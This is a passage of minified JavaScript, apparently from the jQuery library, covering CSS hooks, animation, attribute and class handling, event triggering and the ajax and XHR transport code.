Ra&&(e=Ra[b]),""===c||c?(f=parseFloat(e),c===!0||isFinite(f)?f||0:e):e}}),r.each(["height","width"],function(a,b){r.cssHooks[b]={get:function(a,c,d){if(c)return!Pa.test(r.css(a,"display"))||a.getClientRects().length&&a.getBoundingClientRect().width?Xa(a,b,d):da(a,Qa,function(){return Xa(a,b,d)})},set:function(a,c,d){var e,f=d&&Ma(a),g=d&&Wa(a,b,d,"border-box"===r.css(a,"boxSizing",!1,f),f);return g&&(e=aa.exec(c))&&"px"!==(e[3]||"px")&&(a.style[b]=c,c=r.css(a,b)),Va(a,c,g)}}}),r.cssHooks.marginLeft=Oa(o.reliableMarginLeft,function(a,b){if(b)return(parseFloat(Na(a,"marginLeft"))||a.getBoundingClientRect().left-da(a,{marginLeft:0},function(){return a.getBoundingClientRect().left}))+"px"}),r.each({margin:"",padding:"",border:"Width"},function(a,b){r.cssHooks[a+b]={expand:function(c){for(var d=0,e={},f="string"==typeof c?c.split(" "):[c];d<4;d++)e[a+ba[d]+b]=f[d]||f[d-2]||f[0];return e}},Ka.test(a)||(r.cssHooks[a+b].set=Va)}),r.fn.extend({css:function(a,b){return S(this,function(a,b,c){var d,e,f={},g=0;if(r.isArray(b)){for(d=Ma(a),e=b.length;g<e;g++)f[b[g]]=r.css(a,b[g],!1,d);return f}return void 0!==c?r.style(a,b,c):r.css(a,b)},a,b,arguments.length>1)}});function Ya(a,b,c,d,e){return new Ya.prototype.init(a,b,c,d,e)}r.Tween=Ya,Ya.prototype={constructor:Ya,init:function(a,b,c,d,e,f){this.elem=a,this.prop=c,this.easing=e||r.easing._default,this.options=b,this.start=this.now=this.cur(),this.end=d,this.unit=f||(r.cssNumber[c]?"":"px")},cur:function(){var a=Ya.propHooks[this.prop];return a&&a.get?a.get(this):Ya.propHooks._default.get(this)},run:function(a){var b,c=Ya.propHooks[this.prop];return this.options.duration?this.pos=b=r.easing[this.easing](a,this.options.duration*a,0,1,this.options.duration):this.pos=b=a,this.now=(this.end-this.start)*b+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),c&&c.set?c.set(this):Ya.propHooks._default.set(this),this}},Ya.prototype.init.prototype=Ya.prototype,Ya.propHooks={_default:{get:function(a){var b;return 1!==a.elem.nodeType||null!=a.elem[a.prop]&&null==a.elem.style[a.prop]?a.elem[a.prop]:(b=r.css(a.elem,a.prop,""),b&&"auto"!==b?b:0)},set:function(a){r.fx.step[a.prop]?r.fx.step[a.prop](a):1!==a.elem.nodeType||null==a.elem.style[r.cssProps[a.prop]]&&!r.cssHooks[a.prop]?a.elem[a.prop]=a.now:r.style(a.elem,a.prop,a.now+a.unit)}}},Ya.propHooks.scrollTop=Ya.propHooks.scrollLeft={set:function(a){a.elem.nodeType&&a.elem.parentNode&&(a.elem[a.prop]=a.now)}},r.easing={linear:function(a){return a},swing:function(a){return.5-Math.cos(a*Math.PI)/2},_default:"swing"},r.fx=Ya.prototype.init,r.fx.step={};var Za,$a,_a=/^(?:toggle|show|hide)$/,ab=/queueHooks$/;function bb(){$a&&(a.requestAnimationFrame(bb),r.fx.tick())}function cb(){return a.setTimeout(function(){Za=void 0}),Za=r.now()}function db(a,b){var c,d=0,e={height:a};for(b=b?1:0;d<4;d+=2-b)c=ba[d],e["margin"+c]=e["padding"+c]=a;return b&&(e.opacity=e.width=a),e}function eb(a,b,c){for(var d,e=(hb.tweeners[b]||[]).concat(hb.tweeners["*"]),f=0,g=e.length;f<g;f++)if(d=e[f].call(c,b,a))return d}function fb(a,b,c){var d,e,f,g,h,i,j,k,l="width"in b||"height"in b,m=this,n={},o=a.style,p=a.nodeType&&ca(a),q=V.get(a,"fxshow");c.queue||(g=r._queueHooks(a,"fx"),null==g.unqueued&&(g.unqueued=0,h=g.empty.fire,g.empty.fire=function(){g.unqueued||h()}),g.unqueued++,m.always(function(){m.always(function(){g.unqueued--,r.queue(a,"fx").length||g.empty.fire()})}));for(d in b)if(e=b[d],_a.test(e)){if(delete b[d],f=f||"toggle"===e,e===(p?"hide":"show")){if("show"!==e||!q||void 0===q[d])continue;p=!0}n[d]=q&&q[d]||r.style(a,d)}if(i=!r.isEmptyObject(b),i||!r.isEmptyObject(n)){l&&1===a.nodeType&&(c.overflow=[o.overflow,o.overflowX,o.overflowY],j=q&&q.display,null==j&&(j=V.get(a,"display")),k=r.css(a,"display"),"none"===k&&(j?k=j:(ha([a],!0),j=a.style.display||j,k=r.css(a,"display"),ha([a]))),("inline"===k||"inline-block"===k&&null!=j)&&"none"===r.css(a,"float")&&(i||(m.done(function(){o.display=j}),null==j&&(k=o.display,j="none"===k?"":k)),o.display="inline-block")),c.overflow&&(o.overflow="hidden",m.always(function(){o.overflow=c.overflow[0],o.overflowX=c.overflow[1],o.overflowY=c.overflow[2]})),i=!1;for(d in n)i||(q?"hidden"in q&&(p=q.hidden):q=V.access(a,"fxshow",{display:j}),f&&(q.hidden=!p),p&&ha([a],!0),m.done(function(){p||ha([a]),V.remove(a,"fxshow");for(d in n)r.style(a,d,n[d])})),i=eb(p?q[d]:0,d,m),d in q||(q[d]=i.start,p&&(i.end=i.start,i.start=0))}}function gb(a,b){var c,d,e,f,g;for(c in a)if(d=r.camelCase(c),e=b[d],f=a[c],r.isArray(f)&&(e=f[1],f=a[c]=f[0]),c!==d&&(a[d]=f,delete a[c]),g=r.cssHooks[d],g&&"expand"in g){f=g.expand(f),delete a[d];for(c in f)c in a||(a[c]=f[c],b[c]=e)}else b[d]=e}function hb(a,b,c){var d,e,f=0,g=hb.prefilters.length,h=r.Deferred().always(function(){delete i.elem}),i=function(){if(e)return!1;for(var b=Za||cb(),c=Math.max(0,j.startTime+j.duration-b),d=c/j.duration||0,f=1-d,g=0,i=j.tweens.length;g<i;g++)j.tweens[g].run(f);return h.notifyWith(a,[j,f,c]),f<1&&i?c:(h.resolveWith(a,[j]),!1)},j=h.promise({elem:a,props:r.extend({},b),opts:r.extend(!0,{specialEasing:{},easing:r.easing._default},c),originalProperties:b,originalOptions:c,startTime:Za||cb(),duration:c.duration,tweens:[],createTween:function(b,c){var d=r.Tween(a,j.opts,b,c,j.opts.specialEasing[b]||j.opts.easing);return j.tweens.push(d),d},stop:function(b){var c=0,d=b?j.tweens.length:0;if(e)return this;for(e=!0;c<d;c++)j.tweens[c].run(1);return b?(h.notifyWith(a,[j,1,0]),h.resolveWith(a,[j,b])):h.rejectWith(a,[j,b]),this}}),k=j.props;for(gb(k,j.opts.specialEasing);f<g;f++)if(d=hb.prefilters[f].call(j,a,k,j.opts))return r.isFunction(d.stop)&&(r._queueHooks(j.elem,j.opts.queue).stop=r.proxy(d.stop,d)),d;return r.map(k,eb,j),r.isFunction(j.opts.start)&&j.opts.start.call(a,j),r.fx.timer(r.extend(i,{elem:a,anim:j,queue:j.opts.queue})),j.progress(j.opts.progress).done(j.opts.done,j.opts.complete).fail(j.opts.fail).always(j.opts.always)}r.Animation=r.extend(hb,{tweeners:{"*":[function(a,b){var c=this.createTween(a,b);return ea(c.elem,a,aa.exec(b),c),c}]},tweener:function(a,b){r.isFunction(a)?(b=a,a=["*"]):a=a.match(K);for(var c,d=0,e=a.length;d<e;d++)c=a[d],hb.tweeners[c]=hb.tweeners[c]||[],hb.tweeners[c].unshift(b)},prefilters:[fb],prefilter:function(a,b){b?hb.prefilters.unshift(a):hb.prefilters.push(a)}}),r.speed=function(a,b,c){var e=a&&"object"==typeof a?r.extend({},a):{complete:c||!c&&b||r.isFunction(a)&&a,duration:a,easing:c&&b||b&&!r.isFunction(b)&&b};return r.fx.off||d.hidden?e.duration=0:"number"!=typeof e.duration&&(e.duration in r.fx.speeds?e.duration=r.fx.speeds[e.duration]:e.duration=r.fx.speeds._default),null!=e.queue&&e.queue!==!0||(e.queue="fx"),e.old=e.complete,e.complete=function(){r.isFunction(e.old)&&e.old.call(this),e.queue&&r.dequeue(this,e.queue)},e},r.fn.extend({fadeTo:function(a,b,c,d){return this.filter(ca).css("opacity",0).show().end().animate({opacity:b},a,c,d)},animate:function(a,b,c,d){var e=r.isEmptyObject(a),f=r.speed(b,c,d),g=function(){var b=hb(this,r.extend({},a),f);(e||V.get(this,"finish"))&&b.stop(!0)};return g.finish=g,e||f.queue===!1?this.each(g):this.queue(f.queue,g)},stop:function(a,b,c){var d=function(a){var b=a.stop;delete a.stop,b(c)};return"string"!=typeof a&&(c=b,b=a,a=void 0),b&&a!==!1&&this.queue(a||"fx",[]),this.each(function(){var b=!0,e=null!=a&&a+"queueHooks",f=r.timers,g=V.get(this);if(e)g[e]&&g[e].stop&&d(g[e]);else for(e in g)g[e]&&g[e].stop&&ab.test(e)&&d(g[e]);for(e=f.length;e--;)f[e].elem!==this||null!=a&&f[e].queue!==a||(f[e].anim.stop(c),b=!1,f.splice(e,1));!b&&c||r.dequeue(this,a)})},finish:function(a){return a!==!1&&(a=a||"fx"),this.each(function(){var b,c=V.get(this),d=c[a+"queue"],e=c[a+"queueHooks"],f=r.timers,g=d?d.length:0;for(c.finish=!0,r.queue(this,a,[]),e&&e.stop&&e.stop.call(this,!0),b=f.length;b--;)f[b].elem===this&&f[b].queue===a&&(f[b].anim.stop(!0),f.splice(b,1));for(b=0;b<g;b++)d[b]&&d[b].finish&&d[b].finish.call(this);delete c.finish})}}),r.each(["toggle","show","hide"],function(a,b){var c=r.fn[b];r.fn[b]=function(a,d,e){return null==a||"boolean"==typeof a?c.apply(this,arguments):this.animate(db(b,!0),a,d,e)}}),r.each({slideDown:db("show"),slideUp:db("hide"),slideToggle:db("toggle"),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(a,b){r.fn[a]=function(a,c,d){return this.animate(b,a,c,d)}}),r.timers=[],r.fx.tick=function(){var a,b=0,c=r.timers;for(Za=r.now();b<c.length;b++)a=c[b],a()||c[b]!==a||c.splice(b--,1);c.length||r.fx.stop(),Za=void 0},r.fx.timer=function(a){r.timers.push(a),a()?r.fx.start():r.timers.pop()},r.fx.interval=13,r.fx.start=function(){$a||($a=a.requestAnimationFrame?a.requestAnimationFrame(bb):a.setInterval(r.fx.tick,r.fx.interval))},r.fx.stop=function(){a.cancelAnimationFrame?a.cancelAnimationFrame($a):a.clearInterval($a),$a=null},r.fx.speeds={slow:600,fast:200,_default:400},r.fn.delay=function(b,c){return b=r.fx?r.fx.speeds[b]||b:b,c=c||"fx",this.queue(c,function(c,d){var e=a.setTimeout(c,b);d.stop=function(){a.clearTimeout(e)}})},function(){var a=d.createElement("input"),b=d.createElement("select"),c=b.appendChild(d.createElement("option"));a.type="checkbox",o.checkOn=""!==a.value,o.optSelected=c.selected,a=d.createElement("input"),a.value="t",a.type="radio",o.radioValue="t"===a.value}();var ib,jb=r.expr.attrHandle;r.fn.extend({attr:function(a,b){return S(this,r.attr,a,b,arguments.length>1)},removeAttr:function(a){return this.each(function(){r.removeAttr(this,a)})}}),r.extend({attr:function(a,b,c){var d,e,f=a.nodeType;if(3!==f&&8!==f&&2!==f)return"undefined"==typeof a.getAttribute?r.prop(a,b,c):(1===f&&r.isXMLDoc(a)||(e=r.attrHooks[b.toLowerCase()]||(r.expr.match.bool.test(b)?ib:void 0)),
void 0!==c?null===c?void r.removeAttr(a,b):e&&"set"in e&&void 0!==(d=e.set(a,c,b))?d:(a.setAttribute(b,c+""),c):e&&"get"in e&&null!==(d=e.get(a,b))?d:(d=r.find.attr(a,b),null==d?void 0:d))},attrHooks:{type:{set:function(a,b){if(!o.radioValue&&"radio"===b&&r.nodeName(a,"input")){var c=a.value;return a.setAttribute("type",b),c&&(a.value=c),b}}}},removeAttr:function(a,b){var c,d=0,e=b&&b.match(K);if(e&&1===a.nodeType)while(c=e[d++])a.removeAttribute(c)}}),ib={set:function(a,b,c){return b===!1?r.removeAttr(a,c):a.setAttribute(c,c),c}},r.each(r.expr.match.bool.source.match(/\w+/g),function(a,b){var c=jb[b]||r.find.attr;jb[b]=function(a,b,d){var e,f,g=b.toLowerCase();return d||(f=jb[g],jb[g]=e,e=null!=c(a,b,d)?g:null,jb[g]=f),e}});var kb=/^(?:input|select|textarea|button)$/i,lb=/^(?:a|area)$/i;r.fn.extend({prop:function(a,b){return S(this,r.prop,a,b,arguments.length>1)},removeProp:function(a){return this.each(function(){delete this[r.propFix[a]||a]})}}),r.extend({prop:function(a,b,c){var d,e,f=a.nodeType;if(3!==f&&8!==f&&2!==f)return 1===f&&r.isXMLDoc(a)||(b=r.propFix[b]||b,e=r.propHooks[b]),void 0!==c?e&&"set"in e&&void 0!==(d=e.set(a,c,b))?d:a[b]=c:e&&"get"in e&&null!==(d=e.get(a,b))?d:a[b]},propHooks:{tabIndex:{get:function(a){var b=r.find.attr(a,"tabindex");return b?parseInt(b,10):kb.test(a.nodeName)||lb.test(a.nodeName)&&a.href?0:-1}}},propFix:{"for":"htmlFor","class":"className"}}),o.optSelected||(r.propHooks.selected={get:function(a){var b=a.parentNode;return b&&b.parentNode&&b.parentNode.selectedIndex,null},set:function(a){var b=a.parentNode;b&&(b.selectedIndex,b.parentNode&&b.parentNode.selectedIndex)}}),r.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){r.propFix[this.toLowerCase()]=this});function mb(a){var b=a.match(K)||[];return b.join(" ")}function nb(a){return a.getAttribute&&a.getAttribute("class")||""}r.fn.extend({addClass:function(a){var b,c,d,e,f,g,h,i=0;if(r.isFunction(a))return this.each(function(b){r(this).addClass(a.call(this,b,nb(this)))});if("string"==typeof a&&a){b=a.match(K)||[];while(c=this[i++])if(e=nb(c),d=1===c.nodeType&&" "+mb(e)+" "){g=0;while(f=b[g++])d.indexOf(" "+f+" ")<0&&(d+=f+" ");h=mb(d),e!==h&&c.setAttribute("class",h)}}return this},removeClass:function(a){var b,c,d,e,f,g,h,i=0;if(r.isFunction(a))return this.each(function(b){r(this).removeClass(a.call(this,b,nb(this)))});if(!arguments.length)return this.attr("class","");if("string"==typeof a&&a){b=a.match(K)||[];while(c=this[i++])if(e=nb(c),d=1===c.nodeType&&" "+mb(e)+" "){g=0;while(f=b[g++])while(d.indexOf(" "+f+" ")>-1)d=d.replace(" "+f+" "," ");h=mb(d),e!==h&&c.setAttribute("class",h)}}return this},toggleClass:function(a,b){var c=typeof a;return"boolean"==typeof b&&"string"===c?b?this.addClass(a):this.removeClass(a):r.isFunction(a)?this.each(function(c){r(this).toggleClass(a.call(this,c,nb(this),b),b)}):this.each(function(){var b,d,e,f;if("string"===c){d=0,e=r(this),f=a.match(K)||[];while(b=f[d++])e.hasClass(b)?e.removeClass(b):e.addClass(b)}else void 0!==a&&"boolean"!==c||(b=nb(this),b&&V.set(this,"__className__",b),this.setAttribute&&this.setAttribute("class",b||a===!1?"":V.get(this,"__className__")||""))})},hasClass:function(a){var b,c,d=0;b=" "+a+" ";while(c=this[d++])if(1===c.nodeType&&(" "+mb(nb(c))+" ").indexOf(b)>-1)return!0;return!1}});var ob=/\r/g;r.fn.extend({val:function(a){var b,c,d,e=this[0];{if(arguments.length)return d=r.isFunction(a),this.each(function(c){var e;1===this.nodeType&&(e=d?a.call(this,c,r(this).val()):a,null==e?e="":"number"==typeof e?e+="":r.isArray(e)&&(e=r.map(e,function(a){return null==a?"":a+""})),b=r.valHooks[this.type]||r.valHooks[this.nodeName.toLowerCase()],b&&"set"in b&&void 0!==b.set(this,e,"value")||(this.value=e))});if(e)return b=r.valHooks[e.type]||r.valHooks[e.nodeName.toLowerCase()],b&&"get"in b&&void 0!==(c=b.get(e,"value"))?c:(c=e.value,"string"==typeof c?c.replace(ob,""):null==c?"":c)}}}),r.extend({valHooks:{option:{get:function(a){var b=r.find.attr(a,"value");return null!=b?b:mb(r.text(a))}},select:{get:function(a){var b,c,d,e=a.options,f=a.selectedIndex,g="select-one"===a.type,h=g?null:[],i=g?f+1:e.length;for(d=f<0?i:g?f:0;d<i;d++)if(c=e[d],(c.selected||d===f)&&!c.disabled&&(!c.parentNode.disabled||!r.nodeName(c.parentNode,"optgroup"))){if(b=r(c).val(),g)return b;h.push(b)}return h},set:function(a,b){var c,d,e=a.options,f=r.makeArray(b),g=e.length;while(g--)d=e[g],(d.selected=r.inArray(r.valHooks.option.get(d),f)>-1)&&(c=!0);return c||(a.selectedIndex=-1),f}}}}),r.each(["radio","checkbox"],function(){r.valHooks[this]={set:function(a,b){if(r.isArray(b))return a.checked=r.inArray(r(a).val(),b)>-1}},o.checkOn||(r.valHooks[this].get=function(a){return null===a.getAttribute("value")?"on":a.value})});var pb=/^(?:focusinfocus|focusoutblur)$/;r.extend(r.event,{trigger:function(b,c,e,f){var g,h,i,j,k,m,n,o=[e||d],p=l.call(b,"type")?b.type:b,q=l.call(b,"namespace")?b.namespace.split("."):[];if(h=i=e=e||d,3!==e.nodeType&&8!==e.nodeType&&!pb.test(p+r.event.triggered)&&(p.indexOf(".")>-1&&(q=p.split("."),p=q.shift(),q.sort()),k=p.indexOf(":")<0&&"on"+p,b=b[r.expando]?b:new r.Event(p,"object"==typeof b&&b),b.isTrigger=f?2:3,b.namespace=q.join("."),b.rnamespace=b.namespace?new RegExp("(^|\\.)"+q.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,b.result=void 0,b.target||(b.target=e),c=null==c?[b]:r.makeArray(c,[b]),n=r.event.special[p]||{},f||!n.trigger||n.trigger.apply(e,c)!==!1)){if(!f&&!n.noBubble&&!r.isWindow(e)){for(j=n.delegateType||p,pb.test(j+p)||(h=h.parentNode);h;h=h.parentNode)o.push(h),i=h;i===(e.ownerDocument||d)&&o.push(i.defaultView||i.parentWindow||a)}g=0;while((h=o[g++])&&!b.isPropagationStopped())b.type=g>1?j:n.bindType||p,m=(V.get(h,"events")||{})[b.type]&&V.get(h,"handle"),m&&m.apply(h,c),m=k&&h[k],m&&m.apply&&T(h)&&(b.result=m.apply(h,c),b.result===!1&&b.preventDefault());return b.type=p,f||b.isDefaultPrevented()||n._default&&n._default.apply(o.pop(),c)!==!1||!T(e)||k&&r.isFunction(e[p])&&!r.isWindow(e)&&(i=e[k],i&&(e[k]=null),r.event.triggered=p,e[p](),r.event.triggered=void 0,i&&(e[k]=i)),b.result}},simulate:function(a,b,c){var d=r.extend(new r.Event,c,{type:a,isSimulated:!0});r.event.trigger(d,null,b)}}),r.fn.extend({trigger:function(a,b){return this.each(function(){r.event.trigger(a,b,this)})},triggerHandler:function(a,b){var c=this[0];if(c)return r.event.trigger(a,b,c,!0)}}),r.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(a,b){r.fn[b]=function(a,c){return arguments.length>0?this.on(b,null,a,c):this.trigger(b)}}),r.fn.extend({hover:function(a,b){return this.mouseenter(a).mouseleave(b||a)}}),o.focusin="onfocusin"in a,o.focusin||r.each({focus:"focusin",blur:"focusout"},function(a,b){var c=function(a){r.event.simulate(b,a.target,r.event.fix(a))};r.event.special[b]={setup:function(){var d=this.ownerDocument||this,e=V.access(d,b);e||d.addEventListener(a,c,!0),V.access(d,b,(e||0)+1)},teardown:function(){var d=this.ownerDocument||this,e=V.access(d,b)-1;e?V.access(d,b,e):(d.removeEventListener(a,c,!0),V.remove(d,b))}}});var qb=a.location,rb=r.now(),sb=/\?/;r.parseXML=function(b){var c;if(!b||"string"!=typeof b)return null;try{c=(new a.DOMParser).parseFromString(b,"text/xml")}catch(d){c=void 0}return c&&!c.getElementsByTagName("parsererror").length||r.error("Invalid XML: "+b),c};var tb=/\[\]$/,ub=/\r?\n/g,vb=/^(?:submit|button|image|reset|file)$/i,wb=/^(?:input|select|textarea|keygen)/i;function xb(a,b,c,d){var e;if(r.isArray(b))r.each(b,function(b,e){c||tb.test(a)?d(a,e):xb(a+"["+("object"==typeof e&&null!=e?b:"")+"]",e,c,d)});else if(c||"object"!==r.type(b))d(a,b);else for(e in b)xb(a+"["+e+"]",b[e],c,d)}r.param=function(a,b){var c,d=[],e=function(a,b){var c=r.isFunction(b)?b():b;d[d.length]=encodeURIComponent(a)+"="+encodeURIComponent(null==c?"":c)};if(r.isArray(a)||a.jquery&&!r.isPlainObject(a))r.each(a,function(){e(this.name,this.value)});else for(c in a)xb(c,a[c],b,e);return d.join("&")},r.fn.extend({serialize:function(){return r.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var a=r.prop(this,"elements");return a?r.makeArray(a):this}).filter(function(){var a=this.type;return this.name&&!r(this).is(":disabled")&&wb.test(this.nodeName)&&!vb.test(a)&&(this.checked||!ia.test(a))}).map(function(a,b){var c=r(this).val();return null==c?null:r.isArray(c)?r.map(c,function(a){return{name:b.name,value:a.replace(ub,"\r\n")}}):{name:b.name,value:c.replace(ub,"\r\n")}}).get()}});var yb=/%20/g,zb=/#.*$/,Ab=/([?&])_=[^&]*/,Bb=/^(.*?):[ \t]*([^\r\n]*)$/gm,Cb=/^(?:about|app|app-storage|.+-extension|file|res|widget):$/,Db=/^(?:GET|HEAD)$/,Eb=/^\/\//,Fb={},Gb={},Hb="*/".concat("*"),Ib=d.createElement("a");Ib.href=qb.href;function Jb(a){return function(b,c){"string"!=typeof b&&(c=b,b="*");var d,e=0,f=b.toLowerCase().match(K)||[];if(r.isFunction(c))while(d=f[e++])"+"===d[0]?(d=d.slice(1)||"*",(a[d]=a[d]||[]).unshift(c)):(a[d]=a[d]||[]).push(c)}}function Kb(a,b,c,d){var e={},f=a===Gb;function g(h){var i;return e[h]=!0,r.each(a[h]||[],function(a,h){var j=h(b,c,d);return"string"!=typeof j||f||e[j]?f?!(i=j):void 0:(b.dataTypes.unshift(j),g(j),!1)}),i}return g(b.dataTypes[0])||!e["*"]&&g("*")}function Lb(a,b){var c,d,e=r.ajaxSettings.flatOptions||{};for(c in b)void 0!==b[c]&&((e[c]?a:d||(d={}))[c]=b[c]);return d&&r.extend(!0,a,d),a}function Mb(a,b,c){var d,e,f,g,h=a.contents,i=a.dataTypes;while("*"===i[0])i.shift(),void 0===d&&(d=a.mimeType||b.getResponseHeader("Content-Type"));if(d)for(e in h)if(h[e]&&h[e].test(d)){i.unshift(e);break}if(i[0]in c)f=i[0];else{for(e in c){if(!i[0]||a.converters[e+" "+i[0]]){f=e;break}g||(g=e)}f=f||g}if(f)return f!==i[0]&&i.unshift(f),c[f]}function Nb(a,b,c,d){var e,f,g,h,i,j={},k=a.dataTypes.slice();if(k[1])for(g in a.converters)j[g.toLowerCase()]=a.converters[g];f=k.shift();while(f)if(a.responseFields[f]&&(c[a.responseFields[f]]=b),!i&&d&&a.dataFilter&&(b=a.dataFilter(b,a.dataType)),i=f,f=k.shift())if("*"===f)f=i;else if("*"!==i&&i!==f){if(g=j[i+" "+f]||j["* "+f],!g)for(e in j)if(h=e.split(" "),h[1]===f&&(g=j[i+" "+h[0]]||j["* "+h[0]])){g===!0?g=j[e]:j[e]!==!0&&(f=h[0],k.unshift(h[1]));break}if(g!==!0)if(g&&a["throws"])b=g(b);else try{b=g(b)}catch(l){return{state:"parsererror",error:g?l:"No conversion from "+i+" to "+f}}}return{state:"success",data:b}}r.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:qb.href,type:"GET",isLocal:Cb.test(qb.protocol),global:!0,processData:!0,async:!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":Hb,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/\bxml\b/,html:/\bhtml/,json:/\bjson\b/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text json":JSON.parse,"text xml":r.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(a,b){return b?Lb(Lb(a,r.ajaxSettings),b):Lb(r.ajaxSettings,a)},ajaxPrefilter:Jb(Fb),ajaxTransport:Jb(Gb),ajax:function(b,c){"object"==typeof b&&(c=b,b=void 0),c=c||{};var e,f,g,h,i,j,k,l,m,n,o=r.ajaxSetup({},c),p=o.context||o,q=o.context&&(p.nodeType||p.jquery)?r(p):r.event,s=r.Deferred(),t=r.Callbacks("once memory"),u=o.statusCode||{},v={},w={},x="canceled",y={readyState:0,getResponseHeader:function(a){var b;if(k){if(!h){h={};while(b=Bb.exec(g))h[b[1].toLowerCase()]=b[2]}b=h[a.toLowerCase()]}return null==b?null:b},getAllResponseHeaders:function(){return k?g:null},setRequestHeader:function(a,b){return null==k&&(a=w[a.toLowerCase()]=w[a.toLowerCase()]||a,v[a]=b),this},overrideMimeType:function(a){return null==k&&(o.mimeType=a),this},statusCode:function(a){var b;if(a)if(k)y.always(a[y.status]);else for(b in a)u[b]=[u[b],a[b]];return this},abort:function(a){var b=a||x;return e&&e.abort(b),A(0,b),this}};if(s.promise(y),o.url=((b||o.url||qb.href)+"").replace(Eb,qb.protocol+"//"),o.type=c.method||c.type||o.method||o.type,o.dataTypes=(o.dataType||"*").toLowerCase().match(K)||[""],null==o.crossDomain){j=d.createElement("a");try{j.href=o.url,j.href=j.href,o.crossDomain=Ib.protocol+"//"+Ib.host!=j.protocol+"//"+j.host}catch(z){o.crossDomain=!0}}if(o.data&&o.processData&&"string"!=typeof o.data&&(o.data=r.param(o.data,o.traditional)),Kb(Fb,o,c,y),k)return y;l=r.event&&o.global,l&&0===r.active++&&r.event.trigger("ajaxStart"),o.type=o.type.toUpperCase(),o.hasContent=!Db.test(o.type),f=o.url.replace(zb,""),o.hasContent?o.data&&o.processData&&0===(o.contentType||"").indexOf("application/x-www-form-urlencoded")&&(o.data=o.data.replace(yb,"+")):(n=o.url.slice(f.length),o.data&&(f+=(sb.test(f)?"&":"?")+o.data,delete o.data),o.cache===!1&&(f=f.replace(Ab,"$1"),n=(sb.test(f)?"&":"?")+"_="+rb++ +n),o.url=f+n),o.ifModified&&(r.lastModified[f]&&y.setRequestHeader("If-Modified-Since",r.lastModified[f]),r.etag[f]&&y.setRequestHeader("If-None-Match",r.etag[f])),(o.data&&o.hasContent&&o.contentType!==!1||c.contentType)&&y.setRequestHeader("Content-Type",o.contentType),y.setRequestHeader("Accept",o.dataTypes[0]&&o.accepts[o.dataTypes[0]]?o.accepts[o.dataTypes[0]]+("*"!==o.dataTypes[0]?", "+Hb+"; q=0.01":""):o.accepts["*"]);for(m in o.headers)y.setRequestHeader(m,o.headers[m]);if(o.beforeSend&&(o.beforeSend.call(p,y,o)===!1||k))return y.abort();if(x="abort",t.add(o.complete),y.done(o.success),y.fail(o.error),e=Kb(Gb,o,c,y)){if(y.readyState=1,l&&q.trigger("ajaxSend",[y,o]),k)return y;o.async&&o.timeout>0&&(i=a.setTimeout(function(){y.abort("timeout")},o.timeout));try{k=!1,e.send(v,A)}catch(z){if(k)throw z;A(-1,z)}}else A(-1,"No Transport");function A(b,c,d,h){var j,m,n,v,w,x=c;k||(k=!0,i&&a.clearTimeout(i),e=void 0,g=h||"",y.readyState=b>0?4:0,j=b>=200&&b<300||304===b,d&&(v=Mb(o,y,d)),v=Nb(o,v,y,j),j?(o.ifModified&&(w=y.getResponseHeader("Last-Modified"),w&&(r.lastModified[f]=w),w=y.getResponseHeader("etag"),w&&(r.etag[f]=w)),204===b||"HEAD"===o.type?x="nocontent":304===b?x="notmodified":(x=v.state,m=v.data,n=v.error,j=!n)):(n=x,!b&&x||(x="error",b<0&&(b=0))),y.status=b,y.statusText=(c||x)+"",j?s.resolveWith(p,[m,x,y]):s.rejectWith(p,[y,x,n]),y.statusCode(u),u=void 0,l&&q.trigger(j?"ajaxSuccess":"ajaxError",[y,o,j?m:n]),t.fireWith(p,[y,x]),l&&(q.trigger("ajaxComplete",[y,o]),--r.active||r.event.trigger("ajaxStop")))}return y},getJSON:function(a,b,c){return r.get(a,b,c,"json")},getScript:function(a,b){return r.get(a,void 0,b,"script")}}),r.each(["get","post"],function(a,b){r[b]=function(a,c,d,e){return r.isFunction(c)&&(e=e||d,d=c,c=void 0),r.ajax(r.extend({url:a,type:b,dataType:e,data:c,success:d},r.isPlainObject(a)&&a))}}),r._evalUrl=function(a){return r.ajax({url:a,type:"GET",dataType:"script",cache:!0,async:!1,global:!1,"throws":!0})},r.fn.extend({wrapAll:function(a){var b;return this[0]&&(r.isFunction(a)&&(a=a.call(this[0])),b=r(a,this[0].ownerDocument).eq(0).clone(!0),this[0].parentNode&&b.insertBefore(this[0]),b.map(function(){var a=this;while(a.firstElementChild)a=a.firstElementChild;return a}).append(this)),this},wrapInner:function(a){return r.isFunction(a)?this.each(function(b){r(this).wrapInner(a.call(this,b))}):this.each(function(){var b=r(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=r.isFunction(a);return this.each(function(c){r(this).wrapAll(b?a.call(this,c):a)})},unwrap:function(a){return this.parent(a).not("body").each(function(){r(this).replaceWith(this.childNodes)}),this}}),r.expr.pseudos.hidden=function(a){return!r.expr.pseudos.visible(a)},r.expr.pseudos.visible=function(a){return!!(a.offsetWidth||a.offsetHeight||a.getClientRects().length)},r.ajaxSettings.xhr=function(){try{return new a.XMLHttpRequest}catch(b){}};var Ob={0:200,1223:204},Pb=r.ajaxSettings.xhr();o.cors=!!Pb&&"withCredentials"in Pb,o.ajax=Pb=!!Pb,r.ajaxTransport(function(b){var c,d;if(o.cors||Pb&&!b.crossDomain)return{send:function(e,f){var g,h=b.xhr();if(h.open(b.type,b.url,b.async,b.username,b.password),b.xhrFields)for(g in b.xhrFields)h[g]=b.xhrFields[g];b.mimeType&&h.overrideMimeType&&h.overrideMimeType(b.mimeType),b.crossDomain||e["X-Requested-With"]||(e["X-Requested-With"]="XMLHttpRequest");for(g in e)h.setRequestHeader(g,e[g]);c=function(a){return 